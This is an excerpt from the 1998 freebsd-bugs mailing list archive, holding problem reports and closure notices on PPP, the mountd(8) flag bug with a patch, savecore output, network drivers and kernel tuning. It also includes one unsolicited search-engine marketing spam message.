>Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Sep 9 03:50:00 PDT 1998 >Last-Modified: >Originator: Hans J Jakobsen >Organization: TeleDanmark Net >Release: FreeBSD 2.2.7-RELEASE i386 >Environment: The machine is connected to the internet through a dialup ppp connection. >Description: PPP is started. ping with packet size 1500 is OK. ping with packet size 1350 is OK. ping with packet size 1472 or 1400 is NOT OK. After a unsuccesful ping the connection is dead. Closing and opening ppp gets connection back. The symptoms are not there when the connetion to the Internet is via Ethernet. >How-To-Repeat: /usr/sbin/ppp -background arcpop Working in background mode Using interface: tun0 PPP enabled. $ /sbin/ping -c 5 -s 1350 www.ibm.com PING www.ibm.com (204.146.18.33): 1350 data bytes 1358 bytes from 204.146.18.33: icmp_seq=0 ttl=242 time=851.656 ms 1358 bytes from 204.146.18.33: icmp_seq=1 ttl=242 time=840.556 ms 1358 bytes from 204.146.18.33: icmp_seq=2 ttl=242 time=840.600 ms 1358 bytes from 204.146.18.33: icmp_seq=3 ttl=242 time=840.643 ms 1358 bytes from 204.146.18.33: icmp_seq=4 ttl=242 time=840.358 ms --- www.ibm.com ping statistics --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max/stddev = 840.358/842.763/851.656/4.448 ms $ /sbin/ping -c 5 -s 1400 www.ibm.com PING www.ibm.com (204.146.18.33): 1400 data bytes --- www.ibm.com ping statistics --- 5 packets transmitted, 0 packets received, 100% packet loss $ /sbin/ping -c 5 -s 1350 www.ibm.com PING www.ibm.com (204.146.18.33): 1350 data bytes --- www.ibm.com ping statistics --- 5 packets transmitted, 0 packets received, 100% packet loss $ >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 04:41:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA28587 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 04:41:08 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA28581; Wed, 9 Sep 1998 04:41:06 -0700 (PDT) (envelope-from cracauer@FreeBSD.org) From: Martin Cracauer Received: (from cracauer@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id EAA20964; Wed, 9 Sep 1998 04:41:05 -0700 (PDT) Date: Wed, 9 Sep 1998 04:41:05 -0700 (PDT) Message-Id: <199809091141.EAA20964@freefall.freebsd.org> To: shmit@kublai.com, cracauer@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: gnu/7811 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Build Objective C library shared for ELF State-Changed-From-To: open-closed State-Changed-By: cracauer State-Changed-When: Wed Sep 9 13:40:13 MEST 1998 State-Changed-Why: Shared lib is too costly for ObjC message calls. Comment in Makefiles changed to reflect reality. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 04:59:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA00825 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 04:59:53 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA00815 for ; Wed, 9 Sep 1998 04:59:52 -0700 (PDT) (envelope-from Huvar@msn.com) From: Huvar@msn.com Received: from UPIMSSMTPUSR04 (smtp.email.msn.com [207.68.143.160] (may be forged)) by freefall.freebsd.org (8.8.8/8.8.5) with ESMTP id EAA21411 for ; Wed, 9 Sep 1998 04:59:49 -0700 (PDT) Received: from a - 208.255.165.121 by email.msn.com with Microsoft SMTPSVC; Wed, 9 Sep 1998 04:58:27 -0700 To: Web@Placement Subject: DRAMATICALLY increase your website placement in as little as 72 hours!!!! Message-ID: <0fe822758110998UPIMSSMTPUSR04@email.msn.com> Date: 9 Sep 1998 04:58:45 -0700 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Increase Your Website Traffic Within 72 Hours! We'll put YOUR website at the top of the search engines - FAST! If your site isn't getting the traffic it should, chances are it's because it's not ranked well on the major Internet search engines. According to recent studies on Internet commerce, over 90% of consumers find the websites they visit by using "The Big Eight" search engines. If your website isn't located in the top 20 pages of those engines, chances are your site will never be seen. What's the point of having an "invisible" website? The SINGLE most important thing you can do increase your website traffic is increase your search engine rank. That's what we do. HUGE RESULTS... NO EFFORT... You can spend hours marketing your site using every technique around, but they will all pale in comparison to getting your site properly ranked. By getting to the top of the search engines, you can have HUGE amounts of visitors at your site in as little as 72 HOURS! HOW THE SEARCH ENGINES RANK YOUR SITE... When you submit your website to a search engine to be indexed in its database, it sends a "robot" out to scan your page. Then, using complex algorithms to rank your page for keyword relevance, the "robot" determines whether you'll be ranked # 1 or 1,000,000 when potential visitors conduct a search looking for sites like yours. Because the search engines are constantly changing their algorithms to help provide users the best possible search results, there's only one true solution to high search engine placement. Us. WIN THE SEARCH ENGINE WARS! We understand these algorithms and will use them to get your website on top. Now you can experience the on-line success you originally built your website for. If you're not happy with your website's performance, let The Search Engine Performance Group put YOU on top. IT WILL BE THE BEST THING YOU EVER DO TO IMPROVE YOUR ON-LINE SUCCESS. HERE'S WHAT WE DO... In order to counter the ever changing search engine algorithms, we create an entire series of "entry pages" for each search engine, for EVERY keyword you give us! Each entry page is optimized to do well for a different set of algorithm variables. So instead of having one page struggling to do well for many keywords on many engines, we simply create separate entry pages for each keyword & each engine! It's through this unique approach that we're able to help YOU conquer the search engines. The "entry pages" act as a welcome screen for your website. They will say a few introductory things about your site and then ask the visitor to "Click Here To Enter," taking them directly to your current homepage. In creating these entry pages we DO NOT make any changes to the existing structure, content, or functionality of your current site. All pages we construct will link directly into your existing site. As a result, you can rest assured that your current website will remain exactly the same. HOW WELL DOES THE SERVICE WORK? We'll send you a detailed report of your current search engine ranking on The Big Eight engines before we begin. Then, once your new entry pages have been indexed, we'll send you a second report showing how they've done. You'll be able to confirm the results yourself. Here's a sampling of some results we've gotten for previous clients. These examples are for COMPETITVE keywords - not obscure words that nobody's looking for... <> 6 top 10 rankings on Infoseek for DIFFERENT relevant keywords <> 18 top 10 rankings across the major search engines <> 3 top 10 rankings on Alta Vista for ONE keyword <> 16 total #1 rankings (and an astounding 40 top 30 rankings across the different engines!!) <> 1-2 hits per week exploded to 500 per day <> 45,000 hits per month grew to 108,000... (and it's still growing!) CLIENT COMMENTS: "INCREDIBLE!! Our site is now receiving more hits in a day than we used to get in an entire month. [My boss] is still eating his words!" -Bob W. "I knew the search engines were an incredible marketing tool, but my company simply didn't have the time to devote to search engine placement. It has proven to be the best money we've ever spent on marketing. We'll be sending you some referrals for sure! Thanks." -Shelley H. "I worked for weeks to get good search engine placement, but I could never crack the top 80...my site was deserted. Within a month [after using our service], I'd had more hits than I'd had in the last year. I wouldn't believe it if it hadn't happened to me. Please don't mention a word to the competition." -Chris L. WHAT'S THE COST? Our services are just $385. This includes: <> Construction of optimized entry pages for up to 20 keywords <> Submission to the major search engines (AltaVista, HotBot, Infoseek, Excite, Lycos, Northern Light & WebCrawler) <> A complete report of your search engine rankings before we begin <> A complete report of your search engine rankings AFTER we've finished WHAT DO I NEED TO DO TO GET STARTED? <> Call Us - we'll answer any questions. <> Give us your keywords / keyword phrases (up to 20) <> Pay us $385 <> Sit back and enjoy the show! Your confidentiality is assured; we NEVER release any information about our clients. --Search Engine Success Group-- 410-783-8269 ----------------------- If you're not interested in any potential future offers, just click reply. Thank you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 06:18:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA10728 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 06:18:38 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA10722; Wed, 9 Sep 1998 06:18:31 -0700 (PDT) (envelope-from jkh@FreeBSD.org) From: "Jordan K. Hubbard" Received: (from jkh@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id GAA23781; Wed, 9 Sep 1998 06:18:30 -0700 (PDT) Date: Wed, 9 Sep 1998 06:18:30 -0700 (PDT) Message-Id: <199809091318.GAA23781@freefall.freebsd.org> To: rjs@fdy2.demon.co.uk, jkh@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/7511 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: [PATCH] if_lnc network driver probe failure State-Changed-From-To: suspended-closed State-Changed-By: jkh State-Changed-When: Wed Sep 9 06:09:28 PDT 1998 State-Changed-Why: Committed with slight change for compilability with LINT To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 08:27:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA28022 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 08:27:43 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA27907; Wed, 9 Sep 1998 08:26:09 -0700 (PDT) (envelope-from cracauer@FreeBSD.org) From: Martin Cracauer Received: (from cracauer@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id IAA28294; Wed, 9 Sep 1998 08:26:08 -0700 (PDT) Date: Wed, 9 Sep 1998 08:26:08 -0700 (PDT) Message-Id: <199809091526.IAA28294@freefall.freebsd.org> To: wb@yorikke.arb-phys.uni-dortmund.de, cracauer@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/7742 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: fclose(3) dumps core on NULL State-Changed-From-To: open-closed State-Changed-By: cracauer State-Changed-When: Wed Sep 9 17:24:02 MEST 1998 State-Changed-Why: Change request rejected. The error people are probably fall into is that they try to pass the handle they got from fopen to fclose "just in case there is some cleanup to make on this object". This is nonsense, since it will be a NULL pointer and does not point to any object at all. Insofar the manpage is right as well. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 10:22:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA14765 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 10:22:19 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from george.lbl.gov (george.lbl.gov [131.243.2.12]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA14750 for ; Wed, 9 Sep 1998 10:22:17 -0700 (PDT) (envelope-from jin@george.lbl.gov) Received: (from jin@localhost) by george.lbl.gov (8.8.8/LBL-ITG) id KAA01962 for bugs@freebsd.org; Wed, 9 Sep 1998 10:22:10 -0700 (PDT) Date: Wed, 9 Sep 1998 10:22:10 -0700 (PDT) From: Jin Guojun (ITG staff) Message-Id: <199809091722.KAA01962@george.lbl.gov> To: bugs@FreeBSD.ORG Subject: does savecore (dumps) have known problem under 2.2.7? Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org iss-p5# swapinfo Device 1K-blocks Used Avail Capacity Type /dev/wd0s2b 147456 0 147392 0% Interleaved iss-p5# dumpon /dev/wd0s2b iss-p5# savecore /var/crash savecore: reboot after panic: ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ! ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ Sep 9 10:08:05 iss-p5 savecore: reboot after panic: ^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^ Sep 9 10:08:05 iss-p5 savecore: reboot after panic: ^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?! ^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^? Sep 9 10:08:05 iss-p5 savecore: reboot after panic: ^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^? Sep 9 10:08:05 iss-p5 savecore: reboot after panic: ^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^?^  :  To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 11:27:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA23852 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 11:27:40 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA23829; Wed, 9 Sep 1998 11:27:26 -0700 (PDT) (envelope-from des@FreeBSD.org) From: "Dag-Erling C. Sm\xf8rgrav" Received: (from des@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id LAA04490; Wed, 9 Sep 1998 11:27:24 -0700 (PDT) Date: Wed, 9 Sep 1998 11:27:24 -0700 (PDT) Message-Id: <199809091827.LAA04490@freefall.freebsd.org> To: mcdade@plus8.com, des@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: i386/7003 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Problem with 3com ethernet 3c509a adaptor State-Changed-From-To: open-closed State-Changed-By: des State-Changed-When: Wed Sep 9 11:21:48 PDT 1998 State-Changed-Why: This sounds like pilot error. I have run FreeBSD on about a dozen different computers with plain 3c509 adapters with no trouble except the well- documented 'stuck in OACTIVE' bug (see kern/6694, kern/7042) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 14:50:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA24324 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 14:50:11 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA24235 for ; Wed, 9 Sep 1998 14:50:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id OAA10545; Wed, 9 Sep 1998 14:50:01 -0700 (PDT) Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id OAA23256 for ; Wed, 9 Sep 1998 14:43:24 -0700 (PDT) (envelope-from iedowse@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 9 Sep 98 22:43:04 +0100 (BST) Message-Id: <9809092243.aa07005@walton.maths.tcd.ie> Date: Wed, 9 Sep 98 22:43:03 +0100 (BST) From: iedowse@maths.tcd.ie Reply-To: iedowse@maths.tcd.ie To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/7872: mountd(8) can apply flags to wrong filesystem Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7872 >Category: bin >Synopsis: mountd(8) can apply flags to wrong filesystem >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Sep 9 14:50:01 PDT 1998 >Last-Modified: >Originator: Ian Dowse >Organization: School of Mathematics, Trinity College Dublin >Release: FreeBSD 3.0-CURRENT i386 >Environment: FreeBSD 3.0-current and -stable (patches below are for -current) >Description: When mountd(8) receives a HUP signal, it stops all NFS exporting of filesystems, and then passes the export rules from /etc/exports via a number of mount(2) invocations. In order to handle cases where the path listed in /etc/exports is not the real mount point, mountd repeatedly removes the last path component until the mount call succeeds. Due to insuffient error checking, mountd can miss the real mount point, and apply the flags from a mounted filesystem to the underlying one. In the case we have seen, a forgotten entry in /etc/exports resulted in mountd setting the nodev flag on / every time mountd was sent a HUP signal. >How-To-Repeat: Using two machines, A and B, running -stable or -current: /etc/fstab on machine A: /dev/sd0s1h /home ufs rw 1 1 /etc/exports on machine A: /home -maproot=0:0 B.my.domain /etc/fstab on machine B: A:/home /home nfs rw,nodev 0 0 /etc/exports on machine B (entry accidentally left behind): /home -maproot=0:0 A.my.domain Here, A is exporting /home to B, but B also has an entry for /home in /etc/exports. The nodev option is important for this example. B# mount /dev/sd0s1a on / (local) A:/home on /home (nodev) B# kill -HUP `cat /var/run/mountd.pid` #('mount -u /' works too) B# w w: /dev/mem: Device not configured B# mount /dev/sd0s1a on / (NFS exported, local, nodev) A:/home on /home (nodev) What happens here is that mountd reads the MNT_NODEV flag from /home. It then attempts to update the /home flags to MNT_NODEV | MNT_EXPORTED but the mount() call fails. The code logic assumes that /home is just a subdirectory of / and reapplies the flags to /. >Fix: The simplest 'workaround' fix is: --- mountd.c.old Wed Sep 9 20:21:43 1998 +++ mountd.c Wed Sep 9 20:34:21 1998 @@ -1733,7 +1733,7 @@ *cp-- = savedc; else cp = dirp + dirplen - 1; - if (errno == EPERM) { + if (errno != EINVAL) { syslog(LOG_ERR, "can't change attributes for %s", dirp); return (1); A much more complete solution is to use the f_mntonname path as suggested in the XXX comment. The following patch does that and also stops mountd from attempting to export nfs and other unsupported filesystem types. *** mountd.c.old Wed Sep 9 20:21:43 1998 --- mountd.c Wed Sep 9 21:57:08 1998 *************** *** 1639,1648 **** int dirplen; struct statfs *fsb; { - char *cp = (char *)NULL; u_long **addrp; int done; - char savedc = '\0'; struct sockaddr_in sin, imask; union { struct ufs_args ua; --- 1639,1646 ---- *************** *** 1715,1761 **** break; default: syslog(LOG_ERR, "bad grouptype"); - if (cp) - *cp = savedc; return (1); }; /* * XXX: ! * Maybe I should just use the fsb->f_mntonname path instead ! * of looping back up the dirp to the mount point?? ! * Also, needs to know how to export all types of local * exportable file systems and not just "ufs". */ ! while (mount(fsb->f_fstypename, dirp, ! fsb->f_flags | MNT_UPDATE, (caddr_t)&args) < 0) { ! if (cp) ! *cp-- = savedc; ! else ! cp = dirp + dirplen - 1; ! if (errno == EPERM) { syslog(LOG_ERR, ! "can't change attributes for %s", dirp); return (1); } ! if (opt_flags & OP_ALLDIRS) { ! syslog(LOG_ERR, "could not remount %s: %m", ! dirp); ! return (1); ! } ! /* back up over the last component */ ! while (*cp == '/' && cp > dirp) ! cp--; ! while (*(cp - 1) != '/' && cp > dirp) ! cp--; ! if (cp == dirp) { ! if (debug) ! warnx("mnt unsucc"); ! syslog(LOG_ERR, "can't export %s", dirp); ! return (1); ! } ! savedc = *cp; ! *cp = '\0'; } if (addrp) { ++addrp; --- 1713,1751 ---- break; default: syslog(LOG_ERR, "bad grouptype"); return (1); }; /* * XXX: ! * Needs to know how to export all types of local * exportable file systems and not just "ufs". */ ! if (strcmp(fsb->f_fstypename, "mfs") && ! strcmp(fsb->f_fstypename, "ufs") && ! strcmp(fsb->f_fstypename, "msdos") && ! strcmp(fsb->f_fstypename, "cd9660")) { ! syslog(LOG_ERR, "can't export %s filesystem %s", ! fsb->f_fstypename, dirp); ! return(1); ! } ! ! /* ! * With OP_ALLDIRS, the path must be a mount point. Otherwise ! * get the mount point from the statfs f_mntonname field. ! */ ! if (opt_flags & OP_ALLDIRS) { ! if (mount(fsb->f_fstypename, dirp, ! fsb->f_flags | MNT_UPDATE, (caddr_t)&args) < 0) { syslog(LOG_ERR, ! "could not remount %s: %m", dirp); return (1); } ! } else if (mount(fsb->f_fstypename, fsb->f_mntonname, ! fsb->f_flags | MNT_UPDATE, (caddr_t)&args) < 0) { ! syslog(LOG_ERR, ! "can't change attributes for %s: %m", dirp); ! return (1); } if (addrp) { ++addrp; *************** *** 1764,1771 **** } else done = TRUE; } - if (cp) - *cp = savedc; return (0); } --- 1754,1759 ---- >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 14:50:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA24329 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 14:50:12 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA24248 for ; Wed, 9 Sep 1998 14:50:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id OAA10554; Wed, 9 Sep 1998 14:50:02 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA23745; Wed, 9 Sep 1998 14:46:29 -0700 (PDT) (envelope-from nobody) Message-Id: <199809092146.OAA23745@hub.freebsd.org> Date: Wed, 9 Sep 1998 14:46:29 -0700 (PDT) From: josh@zcompany.com To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: misc/7873: poor initial configuration and documentation of kernel resources frustrating! Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7873 >Category: misc >Synopsis: poor initial configuration and documentation of kernel resources frustrating! >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Wed Sep 9 14:50:01 PDT 1998 >Last-Modified: >Originator: Josh Beck >Organization: Z Company (filez.com, mp3.com, etc) >Release: various 97&98 SNAPS >Environment: FreeBSD robin.filez.com 3.0-19980804-SNAP FreeBSD 3.0-19980804-SNAP #0: Tue Sep 1 01:54:53 PDT 1998 root@robin.filez.com:/usr/src/sys/compile/ROBIN-19980901.2 i386 >Description: The capabilities database (/etc/login.conf) and the kernel resource limitations are very poorly documented and caused us no end of grief for a long time trying to extract the maximum performance from our web servers. >How-To-Repeat: install a stock freebsd system and naively change maxusers and the login class for your web server user and assume all is well :) >Fix: Before 3.0 is finalized, how about a generic "high performance" switch. In specific, I find that we need to do the following to keep apache from complaining with "resource not available errors": add these to the kernel: options "CHILD_MAX=1024" options "OPEN_MAX=1024" options "SOMAXCONN=4096" options "MAXMEM=(whatever is applicable)" maxusers 512 and give the user the web server runs as the login class "root" These are poorly documented, and given the amount of floundering I've seen in the mailing 